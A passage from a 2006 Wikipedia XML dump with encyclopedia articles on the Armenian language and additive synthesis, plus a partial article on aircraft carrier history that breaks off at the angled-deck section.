[[zh:阿布沙耶夫]]</text>
    </revision>
  </page>
  <page>
    <title>Armenian language</title>
    <id>2217</id>
    <revision>
      <id>41847937</id>
      <timestamp>2006-03-02T03:13:06Z</timestamp>
      <contributor>
        <ip>72.140.188.62</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Language
|name=Armenian
|nativename= Հայերեն ''Hayeren''
|familycolor=Indo-European
|states=[[Armenia]], [[Nagorno-Karabakh]], and the [[Armenian Diaspora|Armenian diaspora]]
|speakers=7 million
|nation=[[Armenia]], [[Nagorno-Karabakh]]
|iso1=hy|iso2b=arm|iso2t=hye|iso3=hye
}}

'''Armenian''' is an [[Indo-European language]] spoken by the [[Armenians|Armenian people]] in the [[Armenia|Armenian]] Republic and also used by the [[Armenian Diaspora]]. It constitutes an independent branch of the Indo-European language family, though many Indo-Europeanists believe it forms a subgroup with the Greek and Indo-Iranian families (see Clackson 1994 for extensive discussion).

==General considerations==

Armenian is regarded as a close relative of [[Phrygian language|Phrygian]]. From the modern languages [[Greek language|Greek]] seems to be the most closely related to Armenian. Armenian shares major [[isogloss]]es with Greek, some linguists propose that the linguistic ancestors of the Armenians and Greeks were either identical or in a close contact relation. Armenian and Phrygian show no close relationship with the [[Anatolian languages]] other than borrowings. The Anatolian loan words within Armenian indicate that proto-Armenians were in contact with both [[Luwian]] speakers and with [[Hittites]]. The Classical Armenian language (often referred to as grabar, literally &quot;written (language)&quot;) imported numerous words from Middle Iranian languages, primarily [[Parthian]], and contains smaller inventories of borrowings from Greek, Syriac, Latin, and autochthonous languages such as [[Urartian language|Urartian]]. Middle Armenian (11th–15th centuries AD) incorporated further loans from Arabic, Turkish, Persian, and Latin, and the modern dialects took in hundreds of additional words from Modern Turkish and Persian. The two modern literary dialects, Western (originally associated with writers in the Ottoman Empire) and Eastern (originally associated with writers in the Russian Empire), removed almost all of their Turkish lexical influences in the 20th century, primarily following the genocide of the Armenians in Anatolia by the Turks in 1915–1920.

Armenian is written in the [[Armenian alphabet]], created by Saint [[Saint Mesrob|Mesrop Mashtots]] in [[406]] AD. This alphabet, with two additional letters, is still used today.

Literature written in Armenian appeared by the [[5th century]]. The written language of that time, called [[classical Armenian]] or [[Grabar]], remained the Armenian literary language, with various changes, until the 19th century. Meanwhile, spoken Armenian developed independently of the written language. Many dialects appeared when Armenian communities became separated by geography or politics, and not all of these dialects remained mutually intelligible.

==Grammar==
Armenian resembles other Indo-European languages in its structure, but it shares distinctive sounds and features of its grammar with neighboring languages of the [[Caucasus]] region. Armenian is rich in combinations of consonants. Both classical Armenian and the modern spoken and literary dialects have a complicated system of declining nouns, with six or seven noun cases but no gender. In modern Armenian the use of auxiliary verbs to show tense (comparable to will in &quot;he will go&quot;) has generally supplemented the inflected verbs of classical Armenian. Negative verbs are conjugated differently from positive ones (as in English &quot;he goes&quot; and &quot;he does not go&quot;). Grammatically, early forms of Armenian had much in common with classical [[Greek language|Greek]] and [[Latin]], but the modern language, like modern Greek, has undergone many transformations. 

[[George Gordon Byron, 6th Baron Byron|Lord Byron]] studied the Armenian language. He helped to compile an Armenian grammar textbook and translated a few Armenian books into English.

==Phonology==
[[Classical Armenian]] distinguishes seven vowels: 
''a'', ''i'', ''[[schwa]]'', open ''e'', closed ''e'', ''o'', and ''u'' (transcribed as ''a'', ''i'', ''ə'', ''e'', ''ē'', ''o'', ''ow'' and ''u'' respectively).

The [[stop consonant|occlusives]] have a special aspirated series (transcribed with a Greek ''[[spiritus asper]]'' after the letter): ''{{unicode|p῾}}'', ''{{unicode|t῾}}'', ''{{unicode|c῾}}'', ''{{unicode|č῾}}'', ''{{unicode|k῾}}''.

==Morphology==

===Noun===
Classical Armenian has no [[grammatical gender]], not even in the pronoun. The nominal inflection, however, preserves several types of inherited stem classes. The noun may take seven cases, [[nominative]], [[accusative case|accusative]], [[locative]], [[genitive]], [[dative]], [[ablative]], [[instrumental case|instrumental]].

===Verb===
''Main article: [[Armenian verbs]]''

Verbs in Armenian have an expansive system of [[Grammatical conjugation|conjugation]] with two main verb types (three in Western Armenian) changing form based on tense, mood and aspect.

==Dialects==
One of the greatest differences in the two modern dialects is the way certain letters are pronounced. Eastern Armenian speakers have kept the original pronunciations of the letters, pronouncing each of the 38 letters quite distinctively.  On the other hand, Western Armenian speakers pronounce a few of the letters in the same way.  This has to do with Western Armenians living in regions where other languages, which lacked these rich variations, were also widely spoken and therefore have been influenced by the pronunciations of these other languages (usually either Arabic or Turkish.)

For example, the Armenian language has the letter &quot;t&quot; ({{Hayeren|թ}}), aspirated as in &quot;tiger&quot;, the letter &quot;d&quot; ({{Hayeren|դ}}) as in &quot;develop&quot;, and another letter which is an unaspirated voiceless stop, sounding somewhere between the two as in &quot;s'''t'''op&quot; ({{Hayeren|տ}}).  Western Armenians will pronounce the &quot;tiger&quot; and &quot;develop&quot; examples in the same way, where as Eastern Armenian speakers pronounced each of the three differently.

Armenian also has many other unique letters not heard in other languages. There are two different &quot;k&quot;s; as well as a letter sounding like a cross between &quot;p&quot; and &quot;b&quot;; two &quot;r&quot; letters, one pronounced with a rolling &quot;r&quot; sound; the letter &quot;gh&quot; pronounced like the French &quot;r&quot;; &quot;kh&quot; a harder pronunciation also found in many Middle Eastern languages; as well as the letters &quot;ts&quot;, &quot;tz&quot;, &quot;dz&quot;, &quot;dch&quot;, &quot;uh&quot; like the &quot;a&quot; sound in the word &quot;arrange&quot;; and many more.  These are just a few examples that make Armenian a rich and unique language.

There is no precise linguistic border between one dialect and another because there is nearly always a dialect transition zone of some size between pairs of geographically identified dialects). The main difference between both blocks are:
*'''Western Armenian''' (''Arevm'tahayeren''):
** example
*'''Eastern Armenian''' (''Arevelahayeren''):
** example

In addition, neither dialect is completely homogeneous: any dialect can be subdivided into several subdialects. Armenian can be subdivided in two major dialectal blocks and those blocks into individual dialects, though many of the Western Armenian dialects have died due to the effects of the Armenian Genocide:

{| border=0 cellspacing=10 cellpadding=10 
|  width=&quot;50%&quot; valign=top bgcolor=&quot;#E7E7FF&quot; | 
'''Western Armenian'''
* ''Anatolia''
** ''Istanbul''
** ''Cilicia'' (Musa Ler, Marash, Sis, etc)
** ''Van''
** ''Bitlis''
* ''Europe''
** ''Bulgaria''
** ''Poland''
** ''Romania''
** ''Greece''
* ''Asia''
** ''Lebanon''
** ''Syria''
** ''Jerusalem''
* ''Africa''
** ''Egypt''
|  width=&quot;50%&quot; valign=top bgcolor=&quot;#E7E7FF&quot; | 
'''Eastern Armenian''' (ex-USSR and Iran)
* ''Republic of Armenia''
** ''Yerevan''
** ''Gavar''
** ''Syuniq''
** ''Kumayri (Gyumri)''
* ''Republic of Mountainous Karabakh''
* ''Iran''
* ''Georgia''
* ''Russia''
|}


''English - Eastern Armenian''
*Yes = Ayo ({{Hayeren|այո}})
*No = Voch ({{Hayeren|ոչ}})
*Excuse me = Neroghoutioun ({{Hayeren|ներողութիւն}})
*Hello = Barev ({{Hayeren|բարեւ}})
*Please = Khintrem ({{Hayeren|խնդրեմ}})
*Thank you = Shnorhakal em ({{Hayeren|շնորհակալ եմ}})
*Thank you very much = Shat shnorhakal em ({{Hayeren|շատ շնորհակալ եմ}})
*Welcome = Bari galust ({{Hayeren|բարի գալուստ}}) / Barov eq yekel
*Goodbye = Tstesoutioun ({{Hayeren|ցտեսութիւն}}) 
*Good morning = Bari louys ({{Hayeren|բարի լոյս}}) 
*Good afternoon = Bari or ({{Hayeren|բարի օր}})
*Good evening = Bari yereko ({{Hayeren|բարի երեկոյ}})
*Good night = Bari gisher ({{Hayeren|բարի գիշեր}}) 
*I love you = Yes sirum em qez ({{Hayeren|ես սիրում եմ քեզ}})

==See also==
*[[Language families and languages]]
*[[List of Indo-European languages]]
*[[Armenian alphabet]]

==References==
* [[J.P. Mallory]], In Search of the Indo-Europeans: Language, Archaeology and Myth. London: Thames &amp; Hudson, 1989.
* Clackson, James. 1994. The Linguistic Relationship Between Armenian and Greek. London: Publications of the Philological Society, No 30.

==External links==
{{InterWiki|code=hy}}
*[http://www.armeniapedia.org/index.php?title=Armenian_Lessons Armeniapedia.org - free Armenian lessons on the Armenian Wiki]
*[http://www.sprachprofi.de.vu/english/arm.htm Free online resources for learners]
* [http://www.ethnologue.com/show_language.asp?code=hye Ethnologue report on Armenian]
* http://www.cilicia.com
* [http://www.omniglot.com/writing/armenian.htm The Armenian alphabet]
* [http://language-directory.50webs.com/languages/armenian.htm List of online Armenian-related resources]
Armenian Language Samples:
* [http://www.language-museum.com/a/armenian.php Armenian]
* [http://www.language-museum.com/a/armenian-constantinople.php Armenian Western]
* [http://www.language-museum.com/a/armenian-eastern.php Armenian Eastern]
Armenian Dictionaries Online:
* [http://www.nayiri.com Nayiri.com] - This site spell checks and has a plug-in for Internet Explorer allowing quick searches on any Armenian website

[[Category:Armenian languages]]
[[Category:Languages of Armenia]]
[[Category:Languages of Turkey]]

[[bg:Арменски език]]
[[be:Армянская мова]]
[[ca:Armeni]]
[[cs:Arménština]]
[[da:Armensk (sprog)]]
[[de:Armenische Sprache]]
[[et:Armeenia keel]]
[[es:Idioma armenio]]
[[eo:Armena lingvo]]
[[fa:زبان ارمنی]]
[[fr:Arménien]]
[[ko:아르메니아어]]
[[hy:Հայերեն]]
[[id:Bahasa Armenia]]
[[it:Lingua armena]]
[[he:שפות ארמניות]]
[[hu:Örmény nyelv]]
[[nl:Armeens]]
[[ja:アルメニア語]]
[[pl:Język ormiański]]
[[pt:Língua arménia]]
[[ro:Limba armeană]]
[[ru:Армянский язык]]
[[sl:Armenščina]]
[[fi:Armenian kieli]]
[[sv:Armeniska]]
[[th:ภาษาอาร์เมเนีย]]
[[tr:Ermenice]]
[[wa:Årmenyin]]
[[zh:亚美尼亚语]]</text>
    </revision>
  </page>
  <page>
    <title>Additive synthesis</title>
    <id>2218</id>
    <revision>
      <id>39944186</id>
      <timestamp>2006-02-17T00:09:56Z</timestamp>
      <contributor>
        <username>The 27th letter</username>
        <id>722609</id>
      </contributor>
      <text xml:space="preserve">'''Additive synthesis''' is a technique of audio synthesis which creates [[music]]al [[timbre]].

The timbre of an instrument is composed of multiple [[harmonic]]s, in different quantities, that change over time. Additive synthesis emulates such timbres by creating numerous waveforms pitched to different harmonics, with a different [[amplitude]] envelope on each, along with non-harmonic artifacts.

Usually this involves a bank of [[numerically controlled oscillator|oscillators]] tuned to multiples of the base frequency. Often, each oscillator has its own customizable volume envelope, creating a realistic, dynamic sound.

The concept behind additive synthesis may be related to discoveries by the French  mathematician [[Joseph Fourier]].  Fourier discovered that discontinuous functions are formed by the summation of an infinite series.  Following this, it was established that all signals, when represented as a mathematical function, can be composed as a sum of sine functions ( sin(''x'') ) of various frequencies.  More rigorously, any periodic sound in the [[discrete time]] domain can be synthesized as follows:

:&lt;math&gt;s(n) = \frac{1}{2} a_0(n) + \sum_{k=1}^{k_{\max}} a_k(n) \cos\left( \frac{2 \pi f_0}{F_s} k n \right)-b_k(n) \sin\left( \frac{2 \pi f_0}{F_s} k n \right)&lt;/math&gt;

or

:&lt;math&gt;s(n) = \frac{1}{2} a_0(n) + \sum_{k=1}^{k_{\max}} r_k(n) \cos\left( \frac{2 \pi f_0}{F_s} k n +\varphi_k(n) \right)&lt;/math&gt;

where 

:&lt;math&gt;a_k(n) = r_k(n) \cos \left( \varphi_k(n) \right) \,&lt;/math&gt;,  &lt;math&gt;b_k(n) = r_k(n) \sin \left( \varphi_k(n) \right) \,&lt;/math&gt;

and &lt;math&gt;F_s \,&lt;/math&gt; is the sampling frequency, &lt;math&gt;f_0 \,&lt;/math&gt; is the fundamental frequency, and &lt;math&gt;k_{\max}&lt;\operatorname{floor}(F_s/2 f_0) \,&lt;/math&gt; is the highest harmonic and below the [[Nyquist frequency]].   The [[direct current|DC]] term is generally undesirable in audio synthesis, so the a&lt;sub&gt;0&lt;/sub&gt; term can be removed.  Introducing time varying coefficients ''r''&lt;sub&gt;''k''&lt;/sub&gt;(''n'') allows for the dynamic use of envelopes to modulate oscillators creating a &quot;quasi-periodic&quot; waveform (one that is periodic over the short term but changes its waveform over the longer term).  Additive synthesis can also create non-[[harmonic]] sounds if the individual [[partial]]s are not all having a frequency that is an integer multiple of the same [[fundamental frequency]].

A classic additive synthesizer was the [[Synclavier]].  The pipe organ may also qualify as an additive synthesizer because its pipes generate sine waves when blown, which are  added to each other to generate tones.  More contemporary popular implementations of additive synthesis include the [[Kawai]] K5000 series of synthesizers in the [[1990s]] and, more recently, [[software synthesizer]]s such as the [[Camel Audio]] Cameleon, the [[VirSyn]] Cube, [[White Noise]] WNAdditive, and the [[ConcreteFX]] softsynth Adder. 

It has been shown in [http://www.musicdsp.org/files/Wavetable-101.pdf Wavetable Synthesis 101, A Fundamental Perspective], that [[wavetable synthesis]] is equivalent to additive synthesis in the case that all [[partial]]s or [[overtone]]s are [[harmonic]] (that is all overtones are at frequencies that are an integer multiple of a [[fundamental frequency]] of the tone as shown in the equation above).  Not all musical sounds have harmonic partials, (e.g. [[bell (instrument) | bell]]s) but many do.  In these cases, an efficient implementation of additive synthesis can be accomplished with wavetable synthesis.  '''Group additive synthesis''' is a method to group partials into harmonic groups (of differing fundamental frequencies) and synthesize each group separately with wavetable synthesis before mixing the results.

==See also==
* [[Harmonic series (music)]]
* [[Fourier series]]
* [[Frequency modulation synthesis]]
* [[Subtractive synthesis]]
* [[Wavetable synthesis]]
* [[Digital waveguide synthesis]]
* [[Physical modelling synthesis]]

[[Category:Harmonic analysis]]

[[de:Additive Synthese]]
[[nl:Additieve synthese]]</text>
    </revision>
  </page>
  <page>
    <title>Aircraft carrier</title>
    <id>2219</id>
    <revision>
      <id>42082511</id>
      <timestamp>2006-03-03T18:32:16Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.62.101.53|216.62.101.53]] ([[User talk:216.62.101.53|talk]]) to last version by 192.195.234.26</comment>
      <text xml:space="preserve">

{|align=right
| [[Image:USS_Stennis_HMS_Illustrious.jpg|thumb|250px|Two aircraft carriers, [[USS John C. Stennis (CVN-74)|USS ''John C. Stennis'']] (left), and [[HMS Illustrious (R06)|HMS ''Illustrious'']] (right), showing the difference in size between a [[supercarrier]] and a light [[V/STOL]] aircraft carrier.]]  
|-
| [[Image:Carrier Admiral Kuznetsov.jpg|thumb|250px|The Russian aircraft carrier [[Soviet aircraft carrier Kuznetsov|''Kuznetsov'']].]]
|-
| [[Image:Gaule96.jpg|thumb|250px|The French aircraft carrier [[FS Charles de Gaulle|''Charles de Gaulle'']].]]
|}

An '''aircraft carrier''' is a [[warship]] whose main role is to deploy and recover [[aircraft]]&amp;mdash;in effect acting as a sea-going airbase. Aircraft carriers thus allow a naval force to project [[air power]] great distances without having to depend on local bases for land-based aircraft. Modern navies who operate such ships, treat aircraft carriers as the centerpiece of the fleet, a role previously played by the [[battleship]]. The change, part of the growth of air power as a significant part of warfare, took place during [[World War II]]. Unescorted carriers are considered vulnerable to attack by other ships, aircraft, submarines or missiles and therefore travel as part of a [[carrier battle group]].  In many navies, especially the [[United States Navy]], an aircraft carrier is a [[capital ship]].

==Flight deck configuration==
[[Image:Enterprise Returns.JPG|thumb|right|250px|The island of [[USS Enterprise (CVN-65)|USS ''Enterprise'']].]]

Modern aircraft carriers have a flat-top deck, the [[flight deck]] that serves as a [[take off|take-off]] and [[landing]] area for aircraft. Aircraft take off to the front, into the wind, and land from the rear. Carriers steam at speed, for example up to 35 [[knot (nautical)|knots]] (65 km/h), into the wind during take-off in order to increase the [[apparent wind]] speed, thereby reducing the speed of the aircraft relative to the ship. On some ships, a steam-powered [[Aircraft catapult|catapult]] is used to propel the aircraft forward assisting the power of its engines and allowing it to take off in a shorter distance than would otherwise be required, even with the headwind effect of the ship's course. On other carriers, aircraft do not require assistance for take off — the requirement for assistance relates to aircraft design and performance. Conversely, when landing on a carrier, some aircraft rely upon a [[tailhook]] that catches on [[arrestor wires]] stretched across the deck to bring them to a stop in a shorter distance than normal. Other aircraft utilise their hover capability to land vertically and so require no assistance in speed reduction upon landing. Since the end of [[World War II]] it has been common to direct the landing recovery area off to port at an angle to the line of the ship. The primary function of the angle deck landing area is to allow aircraft who miss the arresting wires, refered to as a &quot;bolter&quot;, to become airborne again without the risk of hitting aircraft parked on the forward parts of the deck. The angle deck also allows launching of aircraft at the same time as others land.

The above deck areas of the warship (the [[bridge (ship)|bridge]], flight [[control tower]], engine exhausts and so on) are concentrated to the [[starboard]] side of the deck in a relatively small area called an &quot;island&quot;.  Very few carriers have been designed or built without an island and such a configuration has not been seen in a fleet sized carrier.

A more recent configuration, used by the [[Royal Navy]], has a 'ski-jump' ramp at the forward end of the flight deck. This was developed to help launch [[VTOL]] (or [[STOVL]]) aircraft (aircraft that are able to take off and land with little or no forward movement) such as the [[BAE Sea Harrier|Sea Harrier]]. Although the aircraft are capable of flying vertically off the deck, using the ramp is more fuel efficient. As catapults and arrestor cables are unnecessary, carriers with this arrangement reduce weight, complexity, and space needed for equipment.

==Common types==
Over the course of the last century there have been several types of aircraft carrier, some of which are now obsolete. They can be generally categorised as follows:

===Initial designs and inter-war developments===
* [[Seaplane tender]]s, such as [[HMS Engadine (1911)|HMS ''Engadine'']], out of frontline use after the 1920s when carriers capable of handling conventional airplanes came into fleets and the superiority of landplanes over [[seaplane]]s in naval operations became firmly established.
* Standard carriers, such as [[HMS Ark Royal (91)|HMS ''Ark Royal'']], typically 20,000 to 65,000 tons. Often known as &quot;fleet carriers.&quot;
* Flying aircraft carrier; airship that can carry aircraft. Example include [[USS Akron (ZRS-4)|USS ''Akron'']] and [[USS Macon (ZRS-5)|''Macon'']]

===World War II developments===
[[Image:Hmcs bonaventure.jpg|250px|right||thumb|[[HMCS Bonaventure (CVL 22)|HMCS ''Bonaventure'']], a [[Majestic class aircraft carrier|''Majestic'' class]] aircraft carrier of the [[Royal Canadian Navy]].]]

* [[Escort carrier]]s, such as [[USS Barnes (CVE-20)|USS ''Barnes'']], were built only during World War II, and were used by the Royal Navy and U.S. Navy. 
* [[Light aircraft carrier]]s, such as [[USS Independence (CVL-22)|USS ''Independence'']], were designed to primarily carry fighters.
* [[CAM ship]]s, such as [[SS Michael E|SS ''Michael E'']], cargo carrying merchant ships which could launch but not retrieve fighter aircraft. These vessels were an emergency measure during [[World War II]].
* [[Merchant aircraft carrier]]s (MACs), such as [[MV Empire MacAlpine|MV ''Empire MacAlpine'']], another emergency measure which saw cargo-carrying merchant ships equipped with flight decks.
* [[Carrier battleship]]s were created by the Imperial Japanese Navy to partially compensate for the loss of carrier strength at [[Battle of Midway|Midway]]. Two of them were made from [[Ise class battleship|''Ise'' class]] battleships during late 1943. The aft turrets were removed and replaced with a hangar, deck and catapult.  The heavy cruiser [[Mogami|''Mogami'']] concurrently received a similar conversion. 
* [[Submarine aircraft carrier]]s, such as the French [[French submarine Surcouf|''Surcouf'']], or the Japanese [[I-400 class submarine]]s which were capable of carrying 3 [[Aichi]] [[Aichi M6A|M6A ''Seiran'']] aircraft. The first of these were built in the 1920s.

In addition, many battleships, cruisers and merchant raiders were equipped with floatplanes for reconnaissance.

===Post-war developments===
* [[Amphibious assault ship|Amphibious assault carrier]]s, such as [[USS Tarawa (LHA-1)|USS ''Tarawa'']], which often also serve the purpose of carrying and landing [[soldier]]s and operate a large contingent of helicopters for that purpose. Also known as &quot;commando carriers&quot; or &quot;helicopter carriers.&quot;
* [[Anti-submarine warfare carrier]]s, such as [[HMS Ocean (L12)|HMS ''Ocean'']], also known as &quot;helicopter carriers.&quot;
* [[Supercarrier]]s, such as [[USS Nimitz (CVN-68)|USS ''Nimitz'']], typically 75,000 tons or greater.

Some [[cruiser (warship)|cruisers]] and [[capital ship]]s of the inter-war years often carried a catapult launched seaplane for reconnaissance and spotting the fall of the guns. It was launched by a catapult and recovered by crane from the water after landing. These were mostly removed during World War II, but had some notable successes early in the war as shown by [[HMS Warspite (1913)|HMS ''Warspite'']]’s [[Supermarine Walrus|Walrus]] during operations in the Norwegian fjords in 1940.

Many modern warships have [[helicopter]] landing capability and helicopter assault ships represent a new form of amphibious assault carrier.

==History and milestones==
===Genesis===
[[Image:Ely-takeoff.jpg|thumb|150px|left|Ely takes off from&lt;br&gt;USS ''Birmingham'', [[14 November]] [[1910]].]]
[[Image:Ely-landing.jpg|thumb|200px|Ely lands on USS ''Pennsylvania'', &lt;br&gt;[[18 January]] [[1911]].]]
As heavier-than-air aircraft developed in the early 20th century various navies began to take an interest in their potential use as scouts for their big gun warships. A number of experimental flights were made to test the concept. [[Eugene Ely]] was the first [[Aviator|pilot]] to launch from a stationary ship in November 1910. He took off from a structure fixed over the forecastle of the US [[armoured cruiser]] [[USS Birmingham (CL-2)|USS ''Birmingham'']] at [[Hampton Roads]], [[Virginia]] and landed nearby on [[Willoughby Spit]] after some five minutes in the air. On [[January 18]] [[1911]] he became the first pilot to land on a stationary ship. He took off from the Tanforan racetrack and landed on a similar temporary structure on the aft of [[USS Pennsylvania (ACR-4)|USS ''Pennsylvania'']] anchored at the [[San Francisco]] waterfront&amp;mdash;the improvised braking system of sandbags and ropes lead directly to the arrestor hook and wires described above. His aircraft was then turned around and he was able to take off again. [[Commander]] Charles Samson, RN, became the first airman to take off from a moving warship on [[May 2]] [[1912]]. He took off in a [[Short S27]] from the battleship [[HMS Hibernia (1905)|HMS ''Hibernia'']] while she steamed at 10.5 knots (19 km/h) during the [[Royal Fleet Review]] at [[Weymouth, Dorset|Weymouth]].

[[HMS Ark Royal (1914)|HMS ''Ark Royal'']] was the first aircraft carrier. She was originally laid down as a merchant ship, but was converted on the building stocks to be a seaplane carrier. Launched in 1914, she served in the [[Dardanelles]] campaign and throughout World War I. 

The first strike from a carrier against a land target took place on [[July 19]] [[1918]]. Seven [[Sopwith Camel]]s launched from [[HMS Furious (1916)|HMS ''Furious'']] attacked the German [[Zeppelin]] base at [[Tondern]], with two 50 lb bombs each. Several [[airship]]s and [[balloon]]s were destroyed, but as the carrier had no method of recovering the aircraft safely, two of the pilots ditched their aircraft in the sea alongside the carrier while the others headed for neutral [[Denmark]].

===The inter-war years===
[[Image:H42235.jpg|thumb|left|150px|left|The first flat deck, [[HMS Argus (I49)|HMS ''Argus'']] in 1918]]
[[Image:Japanese aircraft carrier Hosho.jpg|thumb|right|200px|The first purpose-designed aircraft carrier, the [[Imperial Japanese Navy]]'s [[Japanese aircraft carrier Hosho|''Hosho'']], in 1922]]
The [[Washington Naval Treaty]] of 1922 placed strict limits on the tonnages of battleships and [[battlecruiser]]s for the major naval powers after [[World War I]], as well as limits not only on the total tonnage for carriers, but also an upper limit on 27,000 tonnes for each ship. Although exceptions were made regarding the max ship tonnage (fleet units counted, experimental units did not), the total tonnage could not be exceeded. However, while all of the major navies were over-tonnage on battleships, they were all considerably under-tonnage on aircraft carriers. Consequently, many battleships and battlecruisers under construction (or in service) were converted into aircraft carriers. The first ship to have a full length flat deck was [[HMS Argus (1917)|HMS ''Argus'']] the conversion of which was completed in September [[1918]], with the [[United States Navy|U.S. Navy]] not following suit until 1920, when the conversion of [[USS Langley (CV-1)|USS ''Langley'']] had completed.  The first American fleet carriers would not join the service until [[Lexington class aircraft carrier|1928]] ([[USS Lexington (CV-2)|USS ''Lexington'']] and [[USS Saratoga (CV-3)|''Saratoga'']]).

The first purpose-designed aircraft carrier to be developed was the [[HMS Hermes (1923)|HMS ''Hermes'']], although the first one to be commissionned was the Japanese [[Japanese aircraft carrier Hosho|''Hosho'']] (commissioned in December 1922, followed by HMS ''Hermes'' in July 1923). ''Hermes''&lt;nowiki&gt;'&lt;/nowiki&gt; design preceded and influenced that of the Hosho, and its construction actually began earlier, but numerous tests, experiments and budget considerations delayed its commission.

By the late 1930s, aircraft carriers around the world typically carried three types of aircraft: [[torpedo bomber]]s, also used for conventional bombings and [[reconnaissance]]; [[dive bomber]]s, also used for reconnaissance (in the U.S. Navy, this type of aircraft were known as &quot;scout bombers&quot;); and [[fighter aircraft|fighter]]s for fleet defence and bomber escort duties. Because of the restricted space on aircraft carriers, all these aircraft were of small, single-engined types, usually with [[folding wing]]s to facilitate storage.

===The Second World War===
Aircraft carriers played a significant role in [[World War II]]. With seven aircraft carriers afloat, the Royal Navy had a considerable numerical advantage at the start of the war as neither the Germans or the Italians had carriers of their own. However, the vulnerability of carriers to traditional battleships was quickly illustrated by the sinking of [[HMS Glorious|HMS ''Glorious'']] by German battlecruisers during the Norwegian campaign in 1940. By World War II, seaplane carriers were no longer considered to be equals to carriers which could operate conventional aircraft, as conventional planes could fly farther, faster, with heavier weapons loads and greater performance; by the end of the war, early helicopters were taking over many of the roles of seaplanes.

This apparent weakness to battleships was turned on its head in November 1940 when [[HMS Illustrious (R87)|HMS ''Illustrious'']] launched a long-range strike on the Italian fleet at [[Battle of Taranto|Taranto]]. This operation incapacitated three of the six battleships in the harbour at a cost of two of the 21 attacking [[Fairey Swordfish]] [[torpedo bombers]]. Carriers also played a major part in reinforcing [[Malta]], both by transporting planes and by defending convoys sent to supply the besieged island. The use of carriers prevented the Italian Navy and land-based German aircraft from dominating the Mediterranean theatre.

In the Atlantic, aircraft from HMS ''Ark Royal'' and [[HMS Victorious (R38)|HMS ''Victorious'']] were responsible for slowing [[German Battleship Bismarck|''Bismarck'']] during May 1941. Later in the war, escort carriers proved their worth guarding convoys crossing the [[Second Battle of the Atlantic|Atlantic]] and [[Arctic convoys of World War II|Arctic]] oceans.

Many of the major battles in the Pacific involved aircraft carriers. [[Japan]] started the war with ten aircraft carriers, the largest and most modern carrier fleet in the world at that time. There were six American aircraft carriers at the beginning of the hostilities, although only 3 of them were operating in the Pacific.

[[Image:Carrier shokaku.jpg|thumb|right|250px|Planes from the Japanese aircraft carrier [[Japanese aircraft carrier Shokaku|''Shokaku'']] preparing the attack on [[attack on Pearl Harbor|Pearl Harbor]].]]

Drawing on the 1939 Japanese development of low-depth runs for aerial torpedoes, and the 1940 British aerial attack on the Italian fleet at Taranto the 1941 Japanese surprise [[attack on Pearl Harbor]] was a clear illustration of the [[power projection]] capability afforded by a large force of modern carriers. Simultaneously, the Japanese began their advance through South East Asia and the [[sinking of Prince of Wales and Repulse|sinking of ''Prince of Wales'' and ''Repulse'']] by Japanese land-based aircraft drove home the need for this ship class for fleet defence from aerial attack. In April 1942, the Japanese Fast Carrier Strike Force ranged into the [[Indian Ocean raid|Indian Ocean]] and sank shipping, including the under-repair and undefended carrier [[HMS Hermes (95)|HMS ''Hermes'']]. Smaller Allied fleets with inadequate aerial protection were forced to retreat or be destroyed. In the [[Battle of the Coral Sea|Coral Sea]], US and Japanese fleets traded aircraft strikes in the first battle where neither side's ships sighted the other. At the [[Battle of Midway]] four Japanese carriers were sunk in a surprise attack by planes from three American carriers and this is considered to be the turning point of the war in the Pacific.

Subsequently the US was able to build up large numbers of aircraft aboard a mixture of fleet, light and (newly commissioned) escort carriers. These carriers played a major part in winning the [[Pacific war]]. The eclipse of the battleship as the primary component of a fleet was clearly illustrated by the sinking of the largest battleship ever built, [[Japanese battleship Yamato|''Yamato'']], by carrier-borne aircraft in 1945. Japan also built the largest aircraft carrier of the war, [[Japanese aircraft carrier Shinano|''Shinano'']], which, like ''Yamato'', was named after a Japanese province.

==Wartime innovations==
[[Image:Viraat lengthy.jpg|thumb|250px|[[India]]'s [[INS Viraat|INS ''Viraat'']].]]

Combat experience proved that the British invention of the sealed &quot;hurricane bow&quot; which protected against storms was superior to any other use for the very front of the ship, be it machine-guns or a second flight deck. This became standard for British and American carriers. The Japanese carrier [[Japanese aircraft carrier Taiho|''Taiho'']] was the first of their ships to incorporate it.

Starting late in the war with the [[Midway class aircraft carrier|''Midway'' class]], American carriers had grown so large that it was no longer practical to continue the concept of designing the hangar deck to be the strength deck, and all subsequent American carriers have the flight deck as the strength deck, leaving only the island as superstructure.

===Light Aircraft Carriers===
The loss of three major carriers in quick succession in the Pacific led the US Navy to develop the light carrier (CVL) from [[light cruiser]] hulls that had already been laid down. These were intended to add fighter squadrons to a task force, and were used in the US Navy only during World War II. The Royal Navy made a similar design which served both them and [[Commonwealth]] countries after World War II. One of these carriers, India's [[INS Viraat|INS ''Viraat'']], formerly [[HMS Hermes (R12)|HMS ''Hermes'']], is still being used.

===Escort Carriers and Merchant Aircraft Carriers===
To protect Atlantic [[convoy]]s, the British developed what they called [[Merchant Aircraft Carrier]]s, which were merchant ships equipped with a flat deck for half a dozen aircraft. These operated with civilian crews, under merchant colors, and carried their normal cargo besides providing air support for the convoy. As there was no lift or hangar, aircraft maintenance was limited and the aircraft spent the entire trip sitting on the deck.

These served as stop-gap until dedicated [[escort carrier]]s could be built in the US (US classification ''CVE''). About a third of the size of a fleet carrier, it carried about two dozen aircraft for anti-submarine duties. Over one hundred were built or converted from merchantmen.

Escort carriers were built in the US from two basic hull designs: one from a merchant ship, and the other from a slightly larger, slightly faster tanker. Besides defending convoys, these were used to transport aircraft across the ocean. Nevertheless, some participated in the battles to liberate the [[Philippines]], notably the [[battle off Samar]] in which six escort carriers and their escorting destroyers briefly took on five Japanese battleships and bluffed them into retreating.

===Catapult Aircraft Merchantmen===
As an emergency stop-gap before sufficient merchant aircraft carriers became available, the British provided air cover for convoys using ''Catapult aircraft merchantman'' (CAM ships) and [[merchant aircraft carrier]]s. CAM ships were merchant vessels equipped with an aircraft, usually a battle-weary [[Hawker Hurricane]], launched by a catapult. Once launched, the aircraft could not land back on the deck and had to ditch in the sea if it was not within range of land. Over two years, fewer than 10 launches were ever made, yet these flights did have some success: 6 bombers for the loss of a single pilot.

===The Angled Deck===
